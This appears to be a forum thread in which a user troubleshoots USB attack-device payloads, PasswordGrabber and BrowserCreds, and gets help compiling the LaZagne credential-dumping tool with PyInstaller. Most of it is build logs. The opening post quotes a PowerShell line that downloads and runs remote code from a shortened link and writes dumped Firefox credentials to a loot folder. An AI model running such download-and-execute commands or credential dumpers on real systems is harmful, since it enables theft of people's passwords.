Exmix Posted August 7, 2017 Posted August 7, 2017 (edited) I am trying these payloads on WIndows10 and Windows7, I am on using Firmware V1.3, after essing with some payloads most i've tried seem to work OK(I haven't tried them ALL) but I noticed 2 that don't seem to work for me: PasswordGrabber and BroswerCreds. When I run PasswordGrabber I get an empty folder and an empty ,txt file. When I run BrowserCreds I get an error after this line ">IEX \(New-Object Net.WebClient\).DownloadString\(\'http:\/\/bit.ly\/2mLu0R3\'\)\; Get-FoxDump \| Out-File -Append \$Bunny\\loot\\BrowserCreds\\\$env:computername.txt" Error: New-Object : Cannot find type [Net.WebClient\]: verify that the assembly containing this type is loaded. At line:1 char:7 + IEX \(New-Object Net.WebClient\).DownloadString\(\'http:\/\/bit.ly\/2 ... + ~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidType: (:) [New-Object], PSArgumentException + FullyQualifiedErrorId : TypeNotFound,Microsoft.PowerShell.Commands.NewObjectCommand Get-FoxDump : The term 'Get-FoxDump' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. At line:1 char:83 + ... .DownloadString\(\'http:\/\/bit.ly\/2mLu0R3\'\)\; Get-FoxDump \| Out- ... + ~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (Get-FoxDump:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException Edited August 7, 2017 by Exmix Quote
RazerBlade Posted August 7, 2017 Posted August 7, 2017 When you run password grabber, have u downloaded and placed laZagne.exe in the folder? Otherwise it will not work. Quote
Exmix Posted August 7, 2017 Author Posted August 7, 2017 7 hours ago, RazerBlade said: When you run password grabber, have u downloaded and placed laZagne.exe in the folder? Otherwise it will not work. Ah ok, so that was my first mistake, I have Lazagne from the Github by Alessandro, I was looking around and was able install pyinstaller but am unable to compile it to get the .exe. when I run "pyinstaller lazagne.py" or "pyinstaller lazagne.spec" I get this in return: 0 WARNING: Internal error: early pywin32 import was introduced 125 INFO: PyInstaller: 3.3.dev0+15770dadc 125 INFO: Python: 3.6.0 125 INFO: Platform: Windows-10-10.0.15063-SP0 125 INFO: wrote C:\Users\Tek\Daemons\LaZagne-master\Windows\lazagne.spec 125 INFO: UPX is not available. 125 INFO: Extending PYTHONPATH with paths ['C:\\Users\\Tek\\Daemons\\LaZagne-master\\Windows', 'C:\\Users\\Tek\\Daemons\\LaZagne-master\\Windows'] 125 INFO: checking Analysis 125 INFO: Building Analysis because out00-Analysis.toc is non existent 125 INFO: Initializing module dependency graph... 125 INFO: Initializing module graph hooks... 140 INFO: Analyzing base_library.zip ... 3500 INFO: running Analysis out00-Analysis.toc 3500 INFO: Adding Microsoft.Windows.Common-Controls to dependent assemblies of final executable required by C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\python.exe 3547 WARNING: lib not found: api-ms-win-crt-math-l1-1-0.dll dependency of C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\python.exe 3578 WARNING: lib not found: api-ms-win-crt-stdio-l1-1-0.dll dependency of C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\python.exe 3625 WARNING: lib not found: api-ms-win-crt-locale-l1-1-0.dll dependency of C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\python.exe 3656 WARNING: lib not found: api-ms-win-crt-heap-l1-1-0.dll dependency of C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\python.exe 3703 WARNING: lib not found: api-ms-win-crt-runtime-l1-1-0.dll dependency of C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\python.exe 3750 WARNING: lib not found: api-ms-win-crt-environment-l1-1-0.dll dependency of C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\python36.dll 3797 WARNING: lib not found: api-ms-win-crt-math-l1-1-0.dll dependency of C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\python36.dll 3828 WARNING: lib not found: api-ms-win-crt-locale-l1-1-0.dll dependency of C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\python36.dll 3875 WARNING: lib not found: api-ms-win-crt-time-l1-1-0.dll dependency of C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\python36.dll 3906 WARNING: lib not found: api-ms-win-crt-runtime-l1-1-0.dll dependency of C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\python36.dll 3937 WARNING: lib not found: api-ms-win-crt-stdio-l1-1-0.dll dependency of C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\python36.dll 3984 WARNING: lib not found: api-ms-win-crt-heap-l1-1-0.dll dependency of C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\python36.dll 4016 WARNING: lib not found: api-ms-win-crt-convert-l1-1-0.dll dependency of C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\python36.dll 4062 WARNING: lib not found: api-ms-win-crt-filesystem-l1-1-0.dll dependency of C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\python36.dll 4094 WARNING: lib not found: api-ms-win-crt-string-l1-1-0.dll dependency of C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\python36.dll 4141 WARNING: lib not found: api-ms-win-crt-process-l1-1-0.dll dependency of C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\python36.dll 4172 WARNING: lib not found: api-ms-win-crt-conio-l1-1-0.dll dependency of C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\python36.dll 4219 WARNING: lib not found: api-ms-win-crt-stdio-l1-1-0.dll dependency of C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\VCRUNTIME140.dll 4250 WARNING: lib not found: api-ms-win-crt-heap-l1-1-0.dll dependency of C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\VCRUNTIME140.dll 4297 WARNING: lib not found: api-ms-win-crt-convert-l1-1-0.dll dependency of C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\VCRUNTIME140.dll 4328 WARNING: lib not found: api-ms-win-crt-string-l1-1-0.dll dependency of C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\VCRUNTIME140.dll 4375 WARNING: lib not found: api-ms-win-crt-runtime-l1-1-0.dll dependency of C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\VCRUNTIME140.dll 4375 INFO: Caching module hooks... 4375 INFO: Analyzing C:\Users\Tek\Daemons\LaZagne-master\Windows\lazagne.py Traceback (most recent call last): File "C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\Scripts\pyinstaller-script.py", line 11, in <module> load_entry_point('PyInstaller==3.3.dev0+15770dadc', 'console_scripts', 'pyinstaller')() File "C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\lib\site-packages\pyinstaller-3.3.dev0+15770dadc-py3.6.egg\PyInstaller\__main__.py", line 92, in run run_build(pyi_config, spec_file, **vars(args)) File "C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\lib\site-packages\pyinstaller-3.3.dev0+15770dadc-py3.6.egg\PyInstaller\__main__.py", line 46, in run_build PyInstaller.building.build_main.main(pyi_config, spec_file, **kwargs) File "C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\lib\site-packages\pyinstaller-3.3.dev0+15770dadc-py3.6.egg\PyInstaller\building\build_main.py", line 790, in main build(specfile, kw.get('distpath'), kw.get('workpath'), kw.get('clean_build')) File "C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\lib\site-packages\pyinstaller-3.3.dev0+15770dadc-py3.6.egg\PyInstaller\building\build_main.py", line 736, in build exec(text, spec_namespace) File "<string>", line 16, in <module> File "C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\lib\site-packages\pyinstaller-3.3.dev0+15770dadc-py3.6.egg\PyInstaller\building\build_main.py", line 213, in __init__ self.__postinit__() File "C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\lib\site-packages\pyinstaller-3.3.dev0+15770dadc-py3.6.egg\PyInstaller\building\datastruct.py", line 161, in __postinit__ self.assemble() File "C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\lib\site-packages\pyinstaller-3.3.dev0+15770dadc-py3.6.egg\PyInstaller\building\build_main.py", line 415, in assemble priority_scripts.append(self.graph.run_script(script)) File "C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\lib\site-packages\pyinstaller-3.3.dev0+15770dadc-py3.6.egg\PyInstaller\depend\analysis.py", line 196, in run_script self._top_script_node = super(PyiModuleGraph, self).run_script(pathname) File "C:\Users\Tek\AppData\Local\Programs\Python\Python36-32\lib\site-packages\pyinstaller-3.3.dev0+15770dadc-py3.6.egg\PyInstaller\lib\modulegraph\modulegraph.py", line 1386, in run_script co_ast = compile(contents, pathname, 'exec', ast.PyCF_ONLY_AST, True) File "C:\Users\Tek\Daemons\LaZagne-master\Windows\lazagne.py", line 168 print '[+] File written: ' + constant.folder_name + os.sep + constant.file_name_results + '.json' ^ SyntaxError: Missing parentheses in call to 'print' Quote
Sebkinne Posted August 7, 2017 Posted August 7, 2017 Looks like you need to use python2.7 and not python3. 1 Quote
Dave-ee Jones Posted August 7, 2017 Posted August 7, 2017 1 hour ago, Sebkinne said: Looks like you need to use python2.7 and not python3. It's amazing how much broke, and how much syntax changed, when they released Python 3.. 1 Quote
Exmix Posted August 7, 2017 Author Posted August 7, 2017 1 hour ago, Sebkinne said: Looks like you need to use python2.7 and not python3. Well shit, I feel stupid. I completely forgot I had Python3 installed. I never use it. I uninstalled it and now Pyinstaller doesn't work. I tried to reinstall it with the pip command and that doesn't wanna work now. I did "python.exe -m pip install pyinstaller" from the python 2.7 directory. It installed but still doesn't seem to wanna work. Gonna keep working on this. Quote
Dave-ee Jones Posted August 7, 2017 Posted August 7, 2017 5 minutes ago, Exmix said: Well shit, I feel stupid. I completely forgot I had Python3 installed. I never use it. I uninstalled it and now Pyinstaller doesn't work. I tried to reinstall it with the pip command and that doesn't wanna work now. I did "python.exe -m pip install pyinstaller" from the python 2.7 directory. It installed but still doesn't seem to wanna work. Gonna keep working on this. As in it doesn't know what pyinstaller is? Not sure, but sounds like it hasn't been made executable yet. Quote
Exmix Posted August 7, 2017 Author Posted August 7, 2017 (edited) 15 minutes ago, Dave-ee Jones said: As in it doesn't know what pyinstaller is? Not sure, but sounds like it hasn't been made executable yet. Yeah, I go to the Lazagne.py directory and run: python pyinstaller lazagne.py and get this: "python: can't open file 'pyinstaller': [Errno 2] No such file or directory" Same error returns when running the pip command, Like "python pip install pyinstaller" Edited August 7, 2017 by Exmix Quote
Dave-ee Jones Posted August 8, 2017 Posted August 8, 2017 So sounds like it's looking for a pyinstaller.py in that directory and cannot find it. Could be a few reasons - 1 being that the pyinstaller.py isn't in that directory and 2 because it might be looking for pyinstaller not pyinstaller.py. It needs to be made executable (I believe) with the chmod +x command. Quote
Exmix Posted August 8, 2017 Author Posted August 8, 2017 (edited) 1 hour ago, Dave-ee Jones said: So sounds like it's looking for a pyinstaller.py in that directory and cannot find it. Could be a few reasons - 1 being that the pyinstaller.py isn't in that directory and 2 because it might be looking for pyinstaller not pyinstaller.py. It needs to be made executable (I believe) with the chmod +x command. Currently on windows at the moments since for some odd reason where I am currently linux doesn't wanna pickup the wifi. But thats another issue of mine for another day. Here is something I was trying. C:\Users\Tek\Downloads\pyinstaller-develop>python pyinstaller.py PyInstaller cannot check for assembly dependencies. Please install PyWin32 or pywin32-ctypes. pip install pypiwin32 C:\Users\Tek\Downloads\pyinstaller-develop>pip install pypiwin32 'pip' is not recognized as an internal or external command, operable program or batch file. So i ran "python.exe -m pip install pypiwin32" and it did install properly. SO I went on to do this: C:\Users\Tek\Downloads\pyinstaller-develop>pyinstaller.py C:\Users\Tek\Daemons\LaZagne-master\Windows\lazagne.py 1324 INFO: Generating grammar tables from C:\Python27\lib\lib2to3\Grammar.txt 1349 INFO: Writing grammar tables to C:\Python27\lib\lib2to3\Grammar2.7.13.final.0.pickle 1391 INFO: Generating grammar tables from C:\Python27\lib\lib2to3\PatternGrammar.txt 1393 INFO: Writing grammar tables to C:\Python27\lib\lib2to3\PatternGrammar2.7.13.final.0.pickle 1539 INFO: PyInstaller: 3.3.dev0+15770dadc 1539 INFO: Python: 2.7.13 1540 INFO: Platform: Windows-10-10.0.15063 1542 INFO: wrote C:\Users\Tek\Downloads\pyinstaller-develop\lazagne\lazagne.spec 1543 INFO: UPX is not available. 1546 INFO: Extending PYTHONPATH with paths ['C:\\Users\\Tek\\Daemons\\LaZagne-master\\Windows', 'C:\\Users\\Tek\\Downloads\\pyinstaller-develop\\lazagne'] 1546 INFO: checking Analysis 1546 INFO: Building Analysis because out00-Analysis.toc is non existent 1546 INFO: Initializing module dependency graph... 1549 INFO: Initializing module graph hooks... 1681 INFO: running Analysis out00-Analysis.toc 1694 INFO: Adding Microsoft.VC90.CRT to dependent assemblies of final executable required by C:\Python27\python.exe 35526 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.21022.8_none_60a5df56e60dc5df.manifest 35564 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.1_none_8550c6b5d18a9128.manifest 35574 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4148_none_f47e1bd6f6571810.manifest 35580 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_f480bfaef65491a5.manifest 35592 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9279_none_f4810f46f6546fca.manifest 35711 INFO: Searching for assembly x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.9279_none ... 35712 INFO: Found manifest C:\WINDOWS\WinSxS\Manifests\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9279_none_50939ec6bcb7c97c.manifest 35713 INFO: Searching for file msvcr90.dll 35714 INFO: Found file C:\WINDOWS\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9279_none_50939ec6bcb7c97c\msvcr90.dll 35714 INFO: Searching for file msvcp90.dll 35715 INFO: Found file C:\WINDOWS\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9279_none_50939ec6bcb7c97c\msvcp90.dll 35715 INFO: Searching for file msvcm90.dll 35730 INFO: Found file C:\WINDOWS\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9279_none_50939ec6bcb7c97c\msvcm90.dll 35844 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.21022.8_none_60a5df56e60dc5df.manifest 35846 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.1_none_8550c6b5d18a9128.manifest 35847 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4148_none_f47e1bd6f6571810.manifest 35848 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_f480bfaef65491a5.manifest 35849 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9279_none_f4810f46f6546fca.manifest 35851 INFO: Adding redirect Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 30729, 9279) 35983 INFO: Caching module hooks... 36215 INFO: Analyzing C:\Users\Tek\Daemons\LaZagne-master\Windows\lazagne.py 37857 INFO: Processing pre-find module path hook distutils 38332 INFO: Processing pre-safe import module hook _xmlplus 39427 INFO: Loading module hooks... 39428 INFO: Loading module hook "hook-distutils.py"... 39447 INFO: Loading module hook "hook-xml.py"... 39879 INFO: Loading module hook "hook-httplib.py"... 39881 INFO: Loading module hook "hook-encodings.py"... 40357 INFO: Loading module hook "hook-xml.etree.cElementTree.py"... 40359 INFO: Loading module hook "hook-sqlite3.py"... 40509 INFO: Looking for ctypes DLLs 40526 INFO: Analyzing run-time hooks ... 40534 INFO: Looking for dynamic libraries 40984 INFO: Looking for eggs 40984 INFO: Using Python library C:\WINDOWS\system32\python27.dll 40985 INFO: Found binding redirects: [BindingRedirect(name=u'Microsoft.VC90.CRT', language=None, arch=u'x86', oldVersion=(9, 0, 21022, 8), newVersion=(9, 0, 30729, 9279), publicKeyToken=u'1fc8b3b9a1e18e3b')] 40990 INFO: Warnings written to C:\Users\Tek\Downloads\pyinstaller-develop\lazagne\build\lazagne\warnlazagne.txt 41080 INFO: checking PYZ 41081 INFO: Building PYZ because out00-PYZ.toc is non existent 41081 INFO: Building PYZ (ZlibArchive) C:\Users\Tek\Downloads\pyinstaller-develop\lazagne\build\lazagne\out00-PYZ.pyz 41465 INFO: Building PYZ (ZlibArchive) C:\Users\Tek\Downloads\pyinstaller-develop\lazagne\build\lazagne\out00-PYZ.pyz completed successfully. 41524 INFO: checking PKG 41524 INFO: Building PKG because out00-PKG.toc is non existent 41525 INFO: Building PKG (CArchive) out00-PKG.pkg 41555 INFO: Building PKG (CArchive) out00-PKG.pkg completed successfully. 41558 INFO: Bootloader C:\Users\Tek\Downloads\pyinstaller-develop\PyInstaller\bootloader\Windows-32bit\run.exe 41559 INFO: checking EXE 41559 INFO: Building EXE because out00-EXE.toc is non existent 41560 INFO: Building EXE from out00-EXE.toc 41561 INFO: Appending archive to EXE C:\Users\Tek\Downloads\pyinstaller-develop\lazagne\build\lazagne\lazagne.exe 41602 INFO: Building EXE from out00-EXE.toc completed successfully. 41608 INFO: checking COLLECT 41608 INFO: Building COLLECT because out00-COLLECT.toc is non existent 41609 INFO: Building COLLECT out00-COLLECT.toc 41616 INFO: Redirecting Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 30729, 9279) 41982 INFO: Redirecting Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 30729, 9279) 41984 INFO: Updating manifest in C:\Users\Tek\AppData\Roaming\pyinstaller\bincache00_py27_32bit\python27.dll 41985 INFO: Updating resource type 24 name 2 language 1033 42423 INFO: Building COLLECT out00-COLLECT.toc completed successfully. So now I have an .exe but I got a Warnings log that makes me wonder if something went wrong. Warning log: missing module named 'org.python' - imported by copy, xml.sax missing module named EasyDialogs - imported by getpass missing module named termios - imported by getpass missing module named pwd - imported by posixpath, getpass, shutil, tarfile missing module named _sysconfigdata - imported by distutils.sysconfig missing module named fcntl - imported by tempfile, subprocess missing module named grp - imported by shutil, tarfile missing module named readline - imported by cmd, pdb missing module named org - imported by pickle missing module named riscosenviron - imported by os missing module named riscospath - imported by os missing module named riscos - imported by os missing module named ce - imported by os missing module named _emx_link - imported by os missing module named os2 - imported by os missing module named posix - imported by os missing module named resource - imported by posix missing module named psutil - imported by lazagne.config.changePrivileges, lazagne.softwares.memory.keethief, lazagne.softwares.memory.memorydump missing module named memorpy - imported by lazagne.softwares.memory.memorydump missing module named ElementC14N - imported by xml.etree.ElementTree missing module named _scproxy - imported by urllib missing module named SOCKS - imported by ftplib missing module named rourl2path - imported by urllib missing module named java - imported by xml.sax._exceptions missing module named _xmlplus - imported by xml missing module named 'Crypto.Cipher' - imported by lazagne.softwares.browsers.mozilla, lazagne.softwares.browsers.opera, lazagne.softwares.windows.creddump7.win32.hashdump, lazagne.softwares.windows.creddump7.win32.lsasecrets, lazagne.softwares.windows.creddump7.win32.domcachedump, lazagne.softwares.sysadmin.coreftp, lazagne.softwares.chats.skype, lazagne.softwares.chats.jitsi, lazagne.softwares.databases.sqldeveloper, lazagne.softwares.databases.dbvis, lazagne.softwares.memory.libkeepass.crypto missing module named 'Crypto.Hash' - imported by lazagne.softwares.windows.creddump7.win32.hashdump, lazagne.softwares.windows.creddump7.win32.lsasecrets, lazagne.softwares.windows.creddump7.win32.domcachedump, lazagne.softwares.databases.dbvis missing module named 'Crypto.PublicKey' - imported by lazagne.softwares.sysadmin.opensshforwindows missing module named pyasn1 - imported by lazagne.softwares.browsers.mozilla missing module named Crypto - imported by lazagne.softwares.browsers.mozilla Edited August 8, 2017 by Exmix Quote
Dave-ee Jones Posted August 8, 2017 Posted August 8, 2017 Yeah, cmd doesn't like Python. Just use IDLE and it's shell. Keep in mind you're going to need to install modules via scripts because pip doesn't work in the IDLE shell. E.g. pip install pyinstaller would convert to: import pip pip.main(["install","pyinstaller"]) Then just run the script. Quote
Exmix Posted August 8, 2017 Author Posted August 8, 2017 3 minutes ago, Dave-ee Jones said: Yeah, cmd doesn't like Python. Just use IDLE and it's shell. Keep in mind you're going to need to install modules via scripts because pip doesn't work in the IDLE shell. E.g. pip install pyinstaller would convert to: import pip pip.main(["install","pyinstaller"]) Then just run the script. Done, and this is what returned: Requirement already satisfied: pyinstaller in c:\python27\lib\site-packages Requirement already satisfied: setuptools in c:\python27\lib\site-packages (from pyinstaller) Requirement already satisfied: future in c:\python27\lib\site-packages (from pyinstaller) Quote
Dave-ee Jones Posted August 8, 2017 Posted August 8, 2017 So it's working? You should be able to use it as a module now.. Quote
Exmix Posted August 8, 2017 Author Posted August 8, 2017 (edited) So basically make a script that is like: import pyinstaller pyinstaller /path/to/lazagne.py Sorry, still a tad new to Python. Its the first language i'm working on. Only know some of the basics. Edited August 8, 2017 by Exmix Quote
Dave-ee Jones Posted August 8, 2017 Posted August 8, 2017 28 minutes ago, Exmix said: So basically make a script that is like: import pyinstaller pyinstaller /path/to/lazagne.py Sorry, still a tad new to Python. Its the first language i'm working on. Only know some of the basics. Eh? That won't work in any possible way XD That way of using Python, that's combining a script and a shell. # Script way of importing a module import pyinstaller # Shell way of calling on a script pyinstaller <argument> To start the script in IDLE all you do is "pyinstaller.py <arguments>". In Linux you can make "pyinstaller.py" executable (chmod +x) to use "pyinstaller <arguments>". Quote
Exmix Posted August 8, 2017 Author Posted August 8, 2017 (edited) 1 hour ago, Dave-ee Jones said: Eh? That won't work in any possible way XD That way of using Python, that's combining a script and a shell. # Script way of importing a module import pyinstaller # Shell way of calling on a script pyinstaller <argument> To start the script in IDLE all you do is "pyinstaller.py <arguments>". In Linux you can make "pyinstaller.py" executable (chmod +x) to use "pyinstaller <arguments>". Still not completely following. Sorry, Like I said i'm very new to python(Programming in general) and know very little. I run IDLE and put "pyinstaller /path/to/laZagne.py" but I get a Syntax error. I did run "python pyinstaller.py path/to/lazagne.py" through cmd again, I do get an .exe but I also get some other files and a warnlazagne.txt. Edited August 8, 2017 by Exmix Quote
Dave-ee Jones Posted August 8, 2017 Posted August 8, 2017 (edited) 1 hour ago, Exmix said: Still not completely following. Sorry, Like I said i'm very new to python(Programming in general) and know very little. I run IDLE and put "pyinstaller.py /path/to/laZagne.py" but I get a Syntax error. You sure it's a syntax error and not a traceback error? If it's syntax you've most likely hit the dime. If it's traceback try putting in the full path to the pyinstaller.py. Keep in mind that IDLE expects you to put in Python or call on a Python script (can include arguments). Edited August 8, 2017 by Dave-ee Jones Quote
Exmix Posted August 8, 2017 Author Posted August 8, 2017 (edited) 8 minutes ago, Dave-ee Jones said: You sure it's a syntax error and not a traceback error? If it's syntax you've most likely hit the dime. If it's traceback try putting in the full path to the pyinstaller.py. Syntax error: There's an error in your program: invalid syntax It highlights the "C" in the path to laZagne.py. I did also try running it from where laZagne.py is stored at as well. Edited August 8, 2017 by Exmix Quote
Dave-ee Jones Posted August 8, 2017 Posted August 8, 2017 2 minutes ago, Exmix said: Syntax error: There's an error in your program: invalid syntax Not sure what that means, but it looks like your script was called correctly and it was running. Could be a problem with the way you're appending the argument or something, not sure exactly. I haven't encountered that before, usually it's more specific. Try removing the "" quotes, or just run the program without the arguments and see what happens? e.g. /path/to/pyinstaller.py Quote
Exmix Posted August 8, 2017 Author Posted August 8, 2017 (edited) 3 minutes ago, Dave-ee Jones said: Not sure what that means, but it looks like your script was called correctly and it was running. Could be a problem with the way you're appending the argument or something, not sure exactly. I haven't encountered that before, usually it's more specific. Try removing the "" quotes, or just run the program without the arguments and see what happens? e.g. /path/to/pyinstaller.py Edited my last post since a part of it got cut off. I tried this. my exact code. C:\Users\Tek\Downloads\pyinstaller-develop\pyinstaller.py C:\Users\Tek\Daemons\LaZagne-master\Windows\laZagne.py This time it highlights the first : after the C Edited August 8, 2017 by Exmix Quote
Dave-ee Jones Posted August 8, 2017 Posted August 8, 2017 (edited) Okay so if it is highlighting the "C" in the path of the argument then it might not be expecting an argument, saying "what's going on here, what's this for?" and then erroring out. I don't know - I can't see any of what pyinstaller is trying to do so I can't really help you in that respect. You're calling it fine and everything but that's only half the problem - the other half being what the script is doing which could be anything. EDIT: https://stackoverflow.com/questions/2148994/when-running-a-python-script-in-idle-is-there-a-way-to-pass-in-command-line-arg/24236886 This might help. I realise that IDLE doesn't support immediate arguments, it just gets confused at you trying to call 2 scripts on one line. Edited August 8, 2017 by Dave-ee Jones Quote
Exmix Posted August 8, 2017 Author Posted August 8, 2017 5 minutes ago, Dave-ee Jones said: Okay so if it is highlighting the "C" in the path of the argument then it might not be expecting an argument, saying "what's going on here, what's this for?" and then erroring out. I don't know - I can't see any of what pyinstaller is trying to do so I can't really help you in that respect. You're calling it fine and everything but that's only half the problem - the other half being what the script is doing which could be anything. EDIT: https://stackoverflow.com/questions/2148994/when-running-a-python-script-in-idle-is-there-a-way-to-pass-in-command-line-arg/24236886 This might help. So it would be something like this? idle.py -r pyinstaller.py /path/to.laZagne.py Quote
Dave-ee Jones Posted August 8, 2017 Posted August 8, 2017 8 minutes ago, Exmix said: So it would be something like this? idle.py -r pyinstaller.py /path/to.laZagne.py Not sure but I think idle.py was an example...Not sure though. As I said I've never needed to do this kind of thing I just import things as modules and make scripts. Shell overrated :P Quote
Exmix Posted August 8, 2017 Author Posted August 8, 2017 1 minute ago, Dave-ee Jones said: Not sure but I think idle.py was an example...Not sure though. As I said I've never needed to do this kind of thing I just import things as modules and make scripts. Shell overrated :P Well maybe i'll try it on my linux here in a bit. I dualboot and like I mentioned before, for some reason the WIfi card won't pick up the WIfi when using linux but doesn't have much trouble with WIndows. Quote
Dave-ee Jones Posted August 8, 2017 Posted August 8, 2017 Your distro might not immediately support the WiFi card, might need to install some drivers for it. Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.